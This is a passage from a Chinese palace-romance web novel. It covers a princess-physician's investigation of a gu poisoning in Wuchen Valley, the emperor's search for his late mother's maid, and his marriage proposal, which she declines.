万俟庭看着江致的那只手,心底有股莫名的火往上涌,望着江淮渊道:“不知江族长可否给朕安排一间客房,这一路确实累了。”
江淮渊挣扎起身,指着江致呵斥道:“你这逆子竟敢如此怠慢陛下!还不快去!”
他又朝着万俟庭作揖:“还请陛下恕罪,都是在下没教好儿子,才让他如此不知礼。”
万俟庭余光瞥着江致那欲言又止的恼火模样,瞬时心气平了些,唇角微弯:“无妨,毕竟朕也不是江少主的‘哥哥’。”
江致要不是因为他爹还在病中,怕他气出个好歹,高低得上去跟他计较一番,这轩辕帝真是茶喝多了,那看着姐姐的眼神怎么都算不上清白。
江致眸光一转,嘴角勾起一抹坏笑,朝着万俟庭开口道:“还请陛下稍等片刻,我与姐姐很久不见了,有几句贴己话要说。”
他双眼盯着万俟庭,却朝着诺敏问道:“姐姐这次可带了礼物给我?”
诺敏整理好药箱,从袖中拿出金线虎纹腰带递给他:“这次遇到些意外,匆匆选了个腰带,这虎纹正适配你。”
江致摸着那上面的金线,斜眼瞧着万俟庭,又朝他轻挑了下眉梢,那得意之色都快溢出来了:“哎呀,姐姐怎么知道我喜欢虎纹的?!姐姐对我真是用、心、至、极!”
诺敏看着他那忽而欠揍的表情,站起身一掌呼上他的后脑:“正常点。”
万俟庭一手不自觉地摸上了自己腰间的银线云纹腰带,一手背在身后微微收紧,下颌线紧缩,言语间多了几分咬牙切齿的意味:“江少主要是说完了,就带路吧。”
江致像是赛场上斗胜了的公鸡,昂扬着头在靠近万俟庭时,嗤笑一声,嗓音放的很低:“姐姐最喜欢的就是我,你......”
话还没说完,脚下不知绊到何物,一个趔趄就要往前扑倒,万俟庭一把抓住他的臂膀,用了十分力,勒的他生疼,万俟庭淡定的将脚收回,然后把江致拉近:“江少主,走路的时候还是不要分心的好。”
万俟庭的双眸阴沉又带着戏谑:“万一下次摔断腿就不好了,你说是吧。”
说完,万俟庭
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将那只扶过江致臂膀的手,放在江致的胸膛擦了擦,仿佛沾了什么脏东西,随即绕过江致往外走去,江致抬手指着他的背影:“你!”
江淮渊见状,连忙阻止:“还不快去!”
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屋内仅剩江淮渊和诺敏二人,她才开口询问:“江叔叔对于这下毒一事,可有眉目了?”
江淮渊摇了摇头:“水源是我无尘谷重点防守的地方,而知晓水源所在地的只有刚刚在房内的那些族老和厨房掌事,我让成安查了那些族老那日的动向,暂时没有可疑之处。”
“目前能查到的只有一个伙房的下人在水源处出现过,不过据那伙房伙计说,他那日是奉厨房掌事的命令去取水的,而那个掌事在我准备提审他的那夜,留了一纸遗书就自戕而亡了。”
诺敏思忖了片刻才道:“看那掌事不过是替罪之羊罢了。不过,那人此番要说是害你们的性命也不尽然,那隐殇虽难察觉,但以我对您的了解,若长期解不开此‘毒’,您应当会传信给您的侄子鬼医墨渡,我都知道的事,这幕后之人怎可能不了解,所以比起要你们性命却更像是警告。”
“警告什么呢......”
“......或者说......警告谁呢......”
诺敏眉头紧锁,陷入沉思,江淮渊看着她明明是个小姑娘,却一副少年老陈的模样,轻笑一声:“公主不必担忧,江叔叔我什么大风大浪没见过,纵是有再多的魑魅魍魉,有你和墨渡那小子,又有何惧?”
诺敏拎起药箱:“行,那江叔叔就好好休息,这‘鬼’就交给我来捉了。”
江成安进来的时候,正好与诺敏正面相迎,他微微行礼:“多谢公主殿下救了在下的义父。”
诺敏微抬眼眸,看着眼前一身书生打扮的江成安,嗓音温和:“江公子不必如此见外。听小致说下一任的西蛮族长已经传给你了,恭喜。”
江成安:“多谢。”
二人擦身而过时,诺敏鼻尖闻到了一股略微熟悉的味道,但以她过目不忘的本领,竟一时忘记在哪儿闻过。
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亭雪斋内,苏日娜将近日收到的信笺递给诺敏:“殿下,这是暗一和大昭摄政王之前传来的消息。”
诺敏眉梢几不可察的一动,垂眸打开信笺,将其浸过药汁,字迹才显形。
待她看完所有,已过了一盏茶,她抬手烧毁信笺,烛火映着她清冷的眉眼:“这慕砚竹还真是不消停。”
“殿下,可要属下前去......”乌云娜做了一个灭口的手势。
诺敏眉眼舒展:“不必,这主人就在眼皮子底下,怕什么。况且还有额尔敦的缠虫蛊,那老东西还以为能牵制住本宫养的蛊虫。”
苏日娜接话道:“孰不知公主炼制的蛊虫,哪怕是鬼医,都无法克制。”
诺敏唇角微弯:“既然送上门了,那本宫就用它做笔交易吧。”
随即又想到暗一信中说的,额尔敦宁愿交出苍狼部的眼线,也不愿交出卓鹰部的,微敛了笑容。
20. 药人
万俟庭看着眼前与亭雪斋隔了好几个院落的清风苑,转头睨了一眼江致:“江少主,还真是煞费苦心。”
江致皮笑肉不笑的点了点头:“陛下就安心的在这清风苑住下,有什么需求都可以提出来,本少主一定会好好尽一尽这地主之谊。”
万俟庭轻甩了甩衣袖,再没看江致一眼,向苑内走去。
江致看着他的背影,轻哼一声:“想接近姐姐?先问我答不答应!”
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无尘谷外,残阳如血。
陆祁安靠坐着一块巨石闭眼假寐,马蹄在谷外焦躁地踏着碎步,他身后暗影司的一百轻骑静默如铁,副司使陈升焱踱步上前,疑惑道:“陆司使,你说陛下在无尘谷?可我们在此等了快两天了,还是没有陛下的消息传来,会不会是消息有误?”
陆祁安缓缓抬眸,斜睨了他一眼:“我说老陈啊,你什么时候能改改你这急躁的性子,怎么比我还沉不住气。”
“我能得到这消息,自然是得到了陛下亲传的讯息,这无尘谷我们进不去,就只能继续等......”
陆祁安话还没说完,忽闻扑棱棱的振翅声,自天际破空而来,一只信鸽已落在他肩头,他取下信鸽足上系着的信笺,快速阅览着。
陈升焱语气急切:“可是陛下?”
陆祁安将手中的密信递给他:“陛下说常嬷嬷应当就在无尘谷内,只是暂未找到,命我等兵分两路,你回轩辕,我留在此处接应。”
陈升焱将信笺烧毁才道:“竟有人藏了这么多军械!真是胆大包天!庆云循着痕迹只查到运送军械的是一普通的货商,陛下让我回去协助庆云,查清幕后主使,那这里就交给你了。”
陆祁安朝他摆了摆手:“快走,快走,这次可别被听风阁抢了先,我可不想再被慕砚竹那小子戏笑。”
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庭院深深,微风吹过满架藤萝枝叶,院内药香渐浓。
诺敏独坐在石案前,案上的乌木药箱里摆放着各种药材,她腕间佛珠与手下的石臼相撞,还魂草在一阵阵的敲击中,被碾成了齑粉。
廊下铜漏滴到巳时三刻,她素手捻起一枚新制成的还魂丸对光细看,唇角微勾,成了。
“就这么高兴?”万俟庭醇厚的嗓音入耳。
诺敏抬眸望向来人,这几日她忙着给西蛮族人解蛊,待都诊看完,想起还魂草还没炼制,也就忘了万俟庭还在无尘谷内了。
诺敏将药丸收进白玉瓶:“你来的正好。”
万俟庭信步至案边坐下,目光从她沾染了粉末的脸颊上掠过,从怀中掏出了一块锦帕,俯身轻抬起她的下巴细细擦拭:“敏敏这是终于想起我了。”
诺敏被他这突如其来又很熟稔的动作,弄得怔了一瞬,待她回过神想往后退时,他已经自在的收回了手。
诺敏余光才瞥见那锦帕,就已经被他叠放好收回至怀里,那明显是女子的丝帕,怎么那么眼熟。
她收回心神,轻声开口:“不知陛下的听风阁可曾收到过这样一则消息?金雕部首领额尔敦运了一万缠虫蛊往轩辕,算着日子,应当快到了。”
万俟庭握着茶盏的手微微收紧,刚刚还满是温柔的眼眸,此刻只剩下一片寒芒。
他放下茶盏,眉眼间已恢复平静:“敏敏想与我做什么交易?”
诺敏不得不感叹一下他的机敏:“本宫替陛下解决这缠虫蛊,陛下跟本宫走一趟千丘岭。”
“千丘岭?”
诺敏看着他疑惑的眼神,解释道:“无尘谷外往东百里,有座无名荒山,山上坟茔遍地,当地人称为‘千丘岭’。”
“那儿长着我要的‘灵华草’,只在夜半时,‘嗅’到阴历阴出生人的血,整身才会从地下钻出来。”
“陛下虽是阴历阴时出生,但阳气重,八字硬,符合‘灵华草’的要求......”万俟庭面上无波无澜,但还是让诺敏感到一丝危险的气息,她渐渐住了口。
“给自己解决缠虫蛊这个内患,在公主口中就变成了帮朕?还让朕给你当药人?”万俟庭双手环胸,靠坐在椅背,似
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笑非笑的盯着她。
诺敏莫名气短了一些,嗓音轻微:“怎么就是药人了?本宫不过要你点血罢了,要是能找到其他人,本宫也不会麻烦你了......”
“那缠虫蛊对本宫可谈不上威胁,对陛下可就不一定了。”她顿时眉梢上扬,气又足了三分。
万俟庭看着她生动的眉眼,站起身坐到她身旁,一手搭在桌案,一手搭在她的椅背,成半包围之势,将诺敏拢在其中:“我可以帮你,但你得答应我一个要求,同上次一般,待我想起,自会告知于你。”
诺敏看着他潇洒离去的背影,有些懊悔刚刚四目相对时,不自觉得就答应了他,她轻拍了一下自己的额头,真是男色误人,难道他会传说中的媚术?不可能啊,媚术不是只传女么......
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一声轻咳打断了诺敏的思绪,小厮上前恭敬行礼:“公主殿下,族长有请。”
诺敏进入议事厅时,众人的议论声才停止,纷纷向她行礼。
“江叔叔唤我前来,可是捉到了?”诺敏抬眸看向江淮渊。
江淮渊坐在上首,面色已比首日见到的时候红润了许多:“公主猜的不错,把人带上来。”
“前几日遵循你的意思,放出消息称要搜查各处院落后,昨日半夜守在荒废院落的侍卫,撞见他鬼鬼祟祟地将一个白玉瓶丢进了枯井,打捞起来查看后,里面还装着隐殇蛊。”
一名身着普通下人服饰的小厮被两名侍卫架着,从厅外拖了进来,皂靴刮过青砖发出刺啦的声响,那小厮背后已是血污一片。
江淮渊声音沉如古井:“抬头。”
侍卫铁钳般的手扣住那小厮的下颌往上扳,露出张稚气未脱的脸,不过十四五的年纪,此刻他的睫毛颤个不停。
“是你!”江致难以置信的看着那小厮,又缓缓回眸望向江成安。
诺敏望着小厮的那张脸,想起他是跟在江成安身后贴身伺候的,她瞥了一眼已经跪在堂下请罪的江成安,指尖摩挲着腕间的佛珠,并未发一言。
21. 真心
江成安抬眸望向坐在上首的江淮渊,眼神坚定,声音恳切:“义父,沈平虽是我的贴身小厮,但我从未指使他做这种事,还请义父明察。”
“是啊爹,成安哥怎么可能会给您下毒呢,当年他可是宁愿自己受伤也要救您的啊。”江致在旁帮腔,又指着沈平义愤填膺道:“还不快说是受何人指使!我西蛮可曾亏待过你......”
江淮渊抬手打断了江致的诘问,他睨了一眼跪在堂下颤抖个不停的沈平:“我自问从不曾亏待过下人,你若供出幕后之人,我或可饶你一命。”
空气死寂,只有沈平闷痛的喘息声,良久,他慢慢垂眸,再睁眼时脸上已经没有了方才的恐惧,只剩下一片灰败,眼神空茫地掠过江成安,看向窗外。
“是我,无人指使,更与大爷无关......”沈平话还没说完,瞳孔骤然紧缩,他喉间猛地发出一声闷响,身体剧烈一挣,诺敏还来不及出手,他嘴角已溢出一缕浓黑的血迹,头一歪,再无声息。
诺敏垂眸看着神色怔然的江成安,陷入沉思,若刚才对他抱有怀疑,那现在能确定的是江成安确实不是幕后之人,不过,此人也并没有表面看到的那么简单。
江淮渊站起把江成安搀扶起身:“成安,我从未怀疑过你,此事的罪魁祸首已经找到了,公主留下,我有事相询,其他人都下去吧。”
江致还待开口,就被诺敏一个眼神赶出了门,等所有人都退出议事厅,诺敏才开口:“江叔叔是想让我不再追查?”
江淮渊轻笑一声:“都说公主智慧无双,老夫是再次领教了。”
“我知此事定有幕后之人,只是我也相信绝不会是成安。”
诺敏点了点头,同意道:“江叔叔说的没错,不是他,但幕后之人跟他有关,下毒与其说想害死你们,不如说是给他江成安的警告,警告他该做事了,只是做什么,我暂时还没有头绪......”
江淮渊满目欣赏:“是我那傻小子没福气啊。”
“此事我会暗中调查,公主就不必牵扯进来了。”
诺敏想了想也是,毕竟是人家家族内的事务,还是不插手了:“行,江叔叔若是后面需要帮忙,可直接开口,我一直把江致看作我的亲弟弟。”
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回亭雪斋的路上,诺敏摩挲着腕间的佛珠,脑中一直回想着她在何处闻过江成安的同款熏香,却还是没理出头绪。
“陛下,这是小女亲自为您烹制的糕点,您尝尝。”忽而一柔媚入骨的声音入耳,诺敏抬眸望去,廊下不远处,一位身着华丽的女子正站在万俟庭身旁,手中还端着一盘酥酪,待那女子微微侧过身,诺敏才看清,原是江致的庶妹江知微。
娜仁轻声询问:“殿下,这江小姐不是喜欢江成安么?每次您来无尘谷,防您跟防贼似的,怎么又......”
娜仁未说完的话,诺敏自然清楚,犹记得上次见到江知微还是天天跟在江成安身边晃悠:“一族族长哪有一国皇帝来的权柄大,她不过想给自己寻个更好的去处罢了,无可厚非,只是......”怎么就看中了万俟庭这尊煞神呢。
万俟庭被江知微身上的香味熏得鼻子发腻,他取出腰中的匕首,用剑柄顶住江知微的肩膀往后推了推,神情不耐:“江小姐今日是被海棠腌入味了?离朕远些。”
“还有,朕不爱吃糕点。”
许是诺敏看戏的目光太过灼热,万俟庭正欲转身,余光就瞥见了在一旁看的津津有味的那主仆三人,眉眼间的不耐瞬时转成了戏谑:“敏敏原是喜欢听我的墙角。”
诺敏原想等他们二人交谈完毕再过去,现下只得往前:“本宫只是路过,你们继续。”
诺敏正要与那玄色身影擦肩而过时,铁铸般的手臂骤然环过她的腰,鬓边的铃铛撞出凌凌碎响。
诺敏抬掌欲呼,又被他捏住了掌心。
江知微看着二人旁若无人的互动,那亲密无间的姿势,她手中的圆盘又被攥紧了几分,眸中满是难堪与不忿:“......陛下跟公主如此熟稔么?”
无人应答。
诺敏咬牙切齿:“你放开!”
万俟庭又贴近了几分,鼻尖轻嗅:“敏敏熏的什么香?可否送一盒给我?”
江知微不死心:“公主不在的这些时日,二哥可是天天念叨着。”
无人应答。
诺敏抬脚踢上万俟庭的小腿,用了十分力:“我说了,放开!”
他却面不改色,压制住她的双腿,唇角笑意弥漫:“答应了,我就放开。”
江知微掩去眸中的泪光,嘴唇微颤:“......小女告退。”
无人应答。
诺敏深呼出一口气,笑容浮上脸颊:“你放开,我拿给你。”
万俟庭这才松开双手,诺敏在锦袋中摸索了片刻,拿出一个白玉瓶递给他,上下打量了他一番才道:“陛下还是尽快选秀的好,憋久了恐有碍子嗣。”
万俟庭被她突如其来的一句话弄得怔了片刻,随即微红了耳根,诺敏见状,轻拍了拍他的肩:“本宫乃医者,不必羞耻。”
诺敏又朝着江知微的背影昂了昂下巴:“这般的美人都还入不了陛下的眼吗?”
她转过头盯着他看了瞬间,似是发现了什么般,眸中满是狡黠:“......难不成陛下有断袖之癖?”
本来听到她这置身事外的调侃,万俟庭心中就有点憋闷,再听到这句,他指尖直接覆上了诺敏的唇,温软的触感,还带着她呼吸的潮意,他心尖霎时如火燎原,又想到了那个在他梦中来回反复,与她同眠的清晨。
诺敏能看清他眼中自己的倒影,鬓发凌乱,杏眼圆睁,也能看清他紧抿的唇线。
他的拇指无意识地在她唇上摩挲了一下,这个突如其来的动作让两人同时僵住了,诺敏霎时用力将他往外推远,太暧昧了......
万俟庭踉跄了一下才站稳,他将抚过她唇的那只手背在身后握紧,拇指的烫意要被冰凉的四指紧裹才能降温。
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诺敏回到亭雪斋,心口那股莫名的跳动才平息了些。
娜兰手中执着犀角梳,正帮诺敏理着墨发,诺敏看着镜中人面上的欲言又止:“想说什么就说。”
娜兰动作放缓了些:“殿下,奴婢觉得轩辕帝似是对您有意。奴婢虽是未嫁之身,但轩辕帝看您的眼神就跟大
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汗看可敦一样......”
诺敏抚着辫子的手一顿:“许是他天生长了一双爱人的眼睛,看狗都深情罢了。”
娜兰声音中带了些笑意:“殿下从小就冰雪聪明,怎会看不透那眼神是什么意思,只是奴婢觉得那轩辕帝在这方面是个木头,可能他自己还不清楚呢。”
诺敏看着渐渐暗沉的天色:“轩辕皇室内部有多凶险复杂,即使本宫在凌霄宫也略有耳闻,在那种环境中背负着那样的名声还能平安长大,且最终掌权的皇帝,怎么可能会对一个女人付出真心,在他心中,女人只会是他在朝堂上的筹码,他能让你看到的,都是想让你知道的。”
“娜兰啊,跟了本宫这么久,怎么还如此单纯。”这句话不知道是想告诫娜兰,还是想提醒她自己。
过了片刻,诺敏又道:“本宫相信真心,但真心瞬息万变。与其为一个男人剖心,不如看遍这万里山河。”
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月色漫过雕花槛窗,知雨斋内。
江知微将绣了一半的并蒂莲帕子攥紧了些,针尖不慎刺入指腹,渗出个猩红的血珠:“姨娘到底何时跟父亲说?”
苏姨娘慢条斯理地撇去茶沫,盏盖轻碰的脆响在寂静的夜里格外清晰:“急什么。”
江知微将绣帕扔在榻上,起身走到苏姨娘跟前,蹲身趴在她膝上撒娇道:“姨娘,您怎么对女儿一点也不上心啊?您没看到今日,轩辕陛下那眼神都快在北朔公主身上戳出个洞来了。”
“您再不帮我,万一他们成了,还有您女儿什么事儿啊。”
苏姨娘用指尖戳了戳江知微的额头,轻叹了口气:“你何时能稳重些?你还想跟公主比啊?那轩辕陛下就算收了你,也是个做妾的命,真不知道平日里夫子教了你些什么?成安的正头娘子不做,就看上那皮囊了。”
江知微想了想万俟庭那张令她赏心悦目的脸,晃了晃苏姨娘的膝:“不管不管,我就要做陛下的娘娘。”
苏姨娘揉了揉太阳穴,被她缠的头疼:“你这样像什么样子,赶紧起来,我明日就跟你爹说。只是你要知道,轩辕帝要不要你,你爹可说了不算。”
苏姨娘暗中思忖,还是等明日再忽悠吧,皇宫那吃人不吐骨头的地方以她女儿只看脸的脑子,到时候怎么死的都不知道,女儿拎不清,她这个做娘的可不能。
忽而“哐当”一声!猛地传来铜盆坠地的炸响,半扇雕花门被撞得一晃,门槛处已漫开一片狼藉的水光。
屋内的二人被这声响惊得回了头,就看到愣在原地浑身打着颤的常嬷嬷。
江知微站起身上前搀扶住常嬷嬷:“嬷嬷这是怎么了?可是被烫到了?”
常嬷嬷这才回过神,面上挤出一抹笑:“......没事,被门槛不小心绊了一下。”
她又看向苏姨娘:“......姨娘方才说轩辕帝......”
苏姨娘点了点头,对常嬷嬷没什么要隐瞒的,她跟在自己身边都二十几年了:“是啊,轩辕陛下此刻在谷内做客,这丫头就见了一面就看上了......”
后面的话常嬷嬷已经听不清了,脑子里只有那句“轩辕陛下此刻在谷内做客”。
22. 皇后
苏姨娘寻了个由头把江知微赶出了门,余光瞥见还站在一旁发呆的常嬷嬷,轻声出口:“你今日是怎么了,这么魂不守舍的。”
常嬷嬷这才回过神:“......没事......姨娘,小姐她......”
常嬷嬷口中的未尽之言,她自然知道是什么意思,哪个真心疼爱女儿的母亲会舍得让女儿去做妾,哪怕那人是皇帝也不行,皇宫的富贵不是人人都有命享的。
她拍了拍常嬷嬷的手:“你跟着我也快二十三年了,当是最了解我的人,知微不过是被那轩辕帝的好皮囊迷了眼,她看不清,我这做娘的怎会将她推入火坑,不过是暂时稳住她罢了,待明日我让老爷跟她说那轩辕帝没看上她,她也就该死心了。”
常嬷嬷点了点头,犹豫半晌还是开口道:“......姨娘,那轩辕帝当真如此俊美?”
苏姨娘嘴角含笑:“嬷嬷这是也学小姑娘思春了?”
常嬷嬷:“姨娘别打趣老奴了,老奴就是好奇罢了。”
苏姨娘:“嬷嬷你这几天都是去药房帮忙了,也难怪没看到。那轩辕帝还真是长得......怎么形容呢,就跟仙君似的,那眉毛......”
苏姨娘还在描述着,而常嬷嬷的思绪早就飞到了二十四年前,小姐冒死生下小主子的那个满是血腥和潮湿的雨夜。
暴雨倾盆,把那王府的四方院都下成了一口棺材。
那时的她还不是嬷嬷,她是小姐的家生子,跟小姐一起长大,情同姐妹。
夜半三更,产房里的热气混着血腥扑面而来,小姐躺在层层锦被里,人已经薄成了一张纸,鬓发被汗水染湿,一缕一缕的贴在惨白的脸上,可那双眼睛还是亮得骇人,死死盯着帐顶绣的百子千孙图,眼泪从眼眶中溢出,她知道,那是王爷在大婚之日亲自挑选的。
尽管小姐已经失力,却还是竭力转过头看向她叮嘱着要她保住孩子,最终,孩子是保下来了,可是小姐却永远留在了那个雨夜。
犹记得小姐临终前将一封早就写好的信递给她:“你快走...他长大若来寻...你再给他...我此生不得自由,惟愿我儿...一生顺遂,所愿皆所得......”
常嬷嬷此时脑中有点混乱,她不清楚轩辕帝出现在无尘谷是不是来寻她的,只得静观其变。这么多年,她每次出谷都会在市井上打听那孩子的近况,只是皇宫的消息怎么会那么容易传出来,她得到的消息终究是有限的,只知道是他夺权称帝,轩辕如今是他的天下,想来小姐和王爷在天之灵也能安息了。
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清风苑内,刚入无尘谷的庆风还没来得及换下一身尘衣,就来叩响了万俟庭的房门。
万俟庭手中的狼毫笔将舆图上的千丘岭圈起,才抬眼看向来人:“怎么进来的?”
庆风作揖行礼:“属下引刺客绕路,暗中将他们全部解决了,沿着陛下您留下的记号,寻到了无尘谷外,正想着怎么进来时,被在外围巡查的西蛮人看见,就放我们进来了。”
万俟庭:“刺客确定是她派来的?”
庆风点了点头:“陛下猜的没错,是太后,不过属下从刺客的身上搜到了......逍遥令......”
庆风看着面无表情的万俟庭,又补充了一句:“......但属下不知真假......”
万俟庭伸手接过庆风递来的那块玄铁制成的墨色令牌,不过掌心大小,通体浓墨淬就,边缘雕刻着葫芦,寓意福禄双全,他指腹摩挲过令牌中央,那里凸显着两个字“逍遥”,乃是他亲手所刻,怎会有假。
庆风看着不发一言的万俟庭,心底无端发怵,这块逍遥令是陛下为贺逍遥侯沈伯渊及冠,而亲手打造的,怎么会出现在刺客身上呢,难道逍遥侯投靠了太后?
庆风否定了这个想法,虽然逍遥侯是太后的亲侄子,但他陪着陛下出生入死,当初在战场上为陛下挡了不知多少回的暗箭,皇权之争他从始至终都站在陛下这边,陛下早就把他当做兄弟,一门双侯更是轩辕史上从未有过的,要不是顾着两位侯爷与太后的血脉之情,就冲太后对陛下犯了那么多不可饶恕的罪,现在怎么可能还好好的待在寿康宫里。
庆风轻声询问:“陛下,可要属下派人去边关将沈侯爷......”
万俟庭将逍遥令收回怀中:“不会是他,只是......若有人能神不知鬼不觉的从他身上取走此令牌,那军中......”必然有了幕后之人的奸细,还是他亲近之人。
他对庆风吩咐道:“去查!朕要知道最近突然出现在沈伯渊身边的新人,不拘是新提拔的将领,亦或者是......女人。”
待庆风退出房间,万俟庭静默片刻倏而轻笑出声:“竟还有漏网之鱼。”
他的眸光渐渐暗沉:“既然这么喜欢蹦哒,那就别回水里了。”
沈青梧或许真的可以入皇陵了。
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晴光倾泄,碧空如洗。
桌案上茶烟散尽,万俟庭从袖中取出一卷舆图递给诺敏,指尖点在被圈起的千丘岭处:“敏敏可知此处凶险万分?什么药草需你耗费如此心力找寻?”
他让庆风去打探了一番,据传此处藏有重宝,早年间众人趋之若鹜,三国中寻宝者不知凡几,但却无一人生还,万俟庭不信她不知此处危险重重。
诺敏掌心轻抚着趴在她膝上浅眠的狸猫,温声答道:“本宫的朋友需要灵华草解蛊毒,而医书中,灵华草只有千丘岭有。”
万俟庭看着她这云淡风轻的模样,心中有种说不出的滋味,什么样的朋友能让她这么不顾自身安危也要冒险:“朋友?”
诺敏随意点了点头:“嗯。陛下最近要是没有要事,待本宫准备好伤药,就能出发了。”当然不可能告诉他是大昭的摄政王中了蛊毒,谁知道他会不会借机吞并大昭。
万俟庭:“我欲在无尘谷内寻找......我生母原先的贴身丫鬟,大概四十余岁,我知敏敏有过目不忘之能,找到了我才会跟敏敏走。”
诺敏回想了一下她见过的无尘谷内四十余岁的妇人:“伙房的张嬷嬷、江致的奶嬷嬷赵氏、苏姨娘的管事常嬷嬷,本宫见到的就这些......”
诺敏望着听见“常嬷嬷”三个字后,眼神微动的万俟庭:“是常嬷嬷?”
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万俟庭:“还不确定,但她确实姓常......”
诺敏:“没画像?常嬷嬷我见过几次,跟在苏姨娘身边二十几年了。”
万俟庭目光扫向炉上被烧的咕咕响的沸水,良久后才道:“......没有,跟着我生母的......仅余常嬷嬷一人在世。”其他人都被沈青梧和先帝灭了口,连常嬷嬷在世的消息,还是先帝的贴身大太监被他折磨的体无完肤后才松口的。
万俟庭:“只知道她耳后有一道伤疤。”
诺敏霎时想起有一次在常嬷嬷滑倒时,随手将她扶起时瞥见的那耳后的伤疤:“是她,她耳后有一道伤疤。”
万俟庭看着诺敏一本正经的模样,轻笑出声:“敏敏为何不问我一句,如今已经得到一切,是谁的儿子还重要么?”
所有他亲近的人都会问这一句,他也曾在心中问了自己无数次,皇位权势都尽在他手,是不是那畜生的儿子重要么?就算知道了又如何呢?什么也改变不了。
诺敏将二人面前的茶盏斟满:“你想知道,那就重要,你不想知道,那就不重要。”
万俟庭:“若结果不如我意呢?”
诺敏瞥了他一眼:“得之坦然,失之淡然。陛下已经凭借自己扭转了这轩辕的乾坤,何必纠结于改变不了的,不如就好好享受这万人朝拜的万俟山河,就当那老畜生给的赔礼了。”
万俟庭垂着眸,似是没听见诺敏的话,只是握着茶盏的手渐渐收紧,那喉间滚动得厉害,再抬眸时,只直直盯着诺敏:“公主做我的皇后,如何?”
从前他从未想过娶妻,后宫的女人有多能整,他从小就深有体会,那些贵女面上温柔小意,背地里心思诡谲的多的是。可自从遇到诺敏开始,他就像之前从未认识过女子般,变得措手不及,渐渐产生了若能留她在身边,他这一生应当会变得非常有趣。
瓷盏“叮”的一声轻响,青釉底托溅上几滴琥珀茶汤,诺敏垂着眼,用绢帕缓缓拭过唇角,喉间细细的呛咳声却怎么也压不住。
她抬眸看向那面上满是认真的万俟庭,眸光闪了闪,身体往后挪了挪:“......万俟庭,你疯了?”
诺敏这看傻子的神态自然没逃过万俟庭的眼睛,他从腰间解下随身的龙纹玉佩放在桌案上推向她:“朕从不虚言。”
见她不语,万俟庭起身走近她身旁落座,二人仅隔一个手臂的距离:“敏敏是不敢做我的皇后,还是......不愿?”
诺敏虽不曾经历过情爱,但她自认智谋无双,眼前人是认真还是做戏,她还是能看出来的,他竟然真的想娶自己。
良久,诺敏平了平自己的心绪,将龙纹玉佩推回万俟庭手边,起身行了一礼:“多谢陛下厚爱,只是本宫此生所求,并非拘于一片天地。以陛下的地位和才貌,以后必会寻到比本宫更合适的人选。”
万俟庭骤然起身一把拉住诺敏的手腕:“看来公主是不愿了......你讨厌我?”
诺敏摇了摇头:“拒绝不代表我讨厌你。”
万俟庭将她的手腕放在掌心轻揉了揉,语气变得轻快:“那就是喜欢了。”
23. 往事
诺敏不知他从何处得出的这个结论的,她抬眼正撞进他深潭似的眼眸,那双眼睛里的情绪太多,这次她看清了里面的......占有欲。
诺敏:“你......”她话音凝在舌尖,立时将手腕从他掌心抽出,推了他一把,拉开了二人之间的距离,腕上残留的体温烫的她知道了何为不知所措:“你莫不是中了蛊?”不然以他的性子,怎会说出这种话。
万俟庭顶着诺敏狐疑的眼光,将手伸向她,诺敏随即将手搭上他的脉,这身体强健的,哪有中蛊之象。
万俟庭唇角扬起:“如何?”
诺敏有点不想相信:“......没中蛊”
“敏敏。”他忽而唤了她一声,声音低得像叹息。
万俟庭敛起面上的笑容,郑重道:“朕想娶你,此非虚言。你不必急着拒绝,朕可以给你时间考虑。”
时间仿佛静止,只听得院内簌簌的风声,诺敏良久才道:“陛下或许不知,本宫一向不守规矩,随心所欲是本宫一生所求,您的四方天关不住本宫。”
不管万俟庭是否正应娜兰所说的对她存在“喜欢”,而因此想要留住她,诺敏都无意过问,她只知道自己想要的是什么。
诺敏再次依足礼数向他行了一个无可挑剔的万福,她抬首,眸光清澈如池中静水:“陛下,后位之重如九鼎,凤仪天下者当如明月空悬,普照山河,而本宫就是那山野清风,无拘无束才是本宫的归宿。”
轻风穿过窗棂,卷起她耳边铃铛,发出“叮咛”之声。
明月空悬?山野清风?不过都是为了拒绝他而想出的无用词藻,可他万俟庭从来都是,想要就要得到。
万俟庭沉默了很久,久到诺敏以为他不会开口了,也是,堂堂一国君王被他国公主如此下了脸面,恐怕此刻心里正窝着火呢,诺敏就这么安静的等着。
忽而,他低笑出声:“既然公主不愿,朕也不是强人所难之人,此事便作罢。”
“朕既然已经寻到常嬷嬷,那公主所托之事,朕也不会食言。”
万俟庭又盯着诺敏看了片刻才转身向外走去,原本那温和的眉眼在离开亭雪斋的刹那,已变得晦暗不明,嘴角的笑意早就荡然无存,想退?那就让她不得不做这皇后。
侍卫苍玄看着他沉静的模样,知道要糟,做了陛下的贴身暗卫这么久,多多少少也能揣度一点陛下的心情,就这摩挲指尖还眸光犀利的,那心火烧的指定旺盛。
但苍玄又不得不上前,小心询问:“......陛下,属下可要去将常嬷嬷带来?”
万俟庭淡淡扫了他一眼,却让苍玄有股颤栗之感,只听上头声音沉闷:“嗯。”
苍玄赶忙行礼告退,陛下的龙威愈盛了。
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“殿下,奴婢怎么觉得这轩辕陛下刚才的笑容......渗人呢。”娜仁一边收拾着茶案,一边说道。
娜仁转头拉了拉娜兰的袖子:“还有那眼神,娜兰姐姐你也看到了吧,那眼神简直......简直像是要将公主吞进去。”
娜兰理了理自己的衣袖,轻斥一声:“那虽不是你我的主子,但也是轩辕国主,岂可如此议论。”
娜仁撇了撇嘴,不以为然道:“我们公主如此仙姿玉貌,当由这天下最好的男儿上门做面首才是,国主又如何,公主还不一定看得上呢。”
诺敏看着眼前她们二人之间的你来我往,并没吭声,被万俟庭搅散的思绪已经重新回笼,皇后她是不可能去做的,面首嘛,倒是可以考虑考虑,想到此处她又不禁失笑,让万俟庭做面首,怎么可能。
娜兰和娜仁的争论被诺敏这一声轻笑打断,二人面面相觑,互相看了一眼,收拾好茶具退了下去。
刚出门,娜仁就迫不及待地拉住娜兰,低声道:“娜兰姐姐,殿下不会是想让万俟陛下做面首吧......”
娜兰轻敲了一下她额头:“你还不闭嘴。”
娜兰回首望着那坐在屋内,唇角微弯、耳尖薄红的诺敏,轻叹了一声,恐怕公主自己也未看得清,而那位也未必如他口中所说的不强人所难啊。
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午后的日光薄薄地铺在窗棂上。
诺敏捏着那方寸纸笺,指尖掩在光影交界处。
信中提到,当初她安排进金雕部的暗卫已经与暗一接头,暗卫暗中查探到额尔敦与卓鹰部的一黑衣人来往密切,只是还没查出那人的身份,布日固德怀疑此人在卓鹰部位高权重。
确实,没有权力,以额尔敦的调性怎么会与一个无权无势的人做交易。
诺敏的目光凝在那“位高权重”四个字上,她知道布日固德的未尽之言,他怀疑朝鲁。
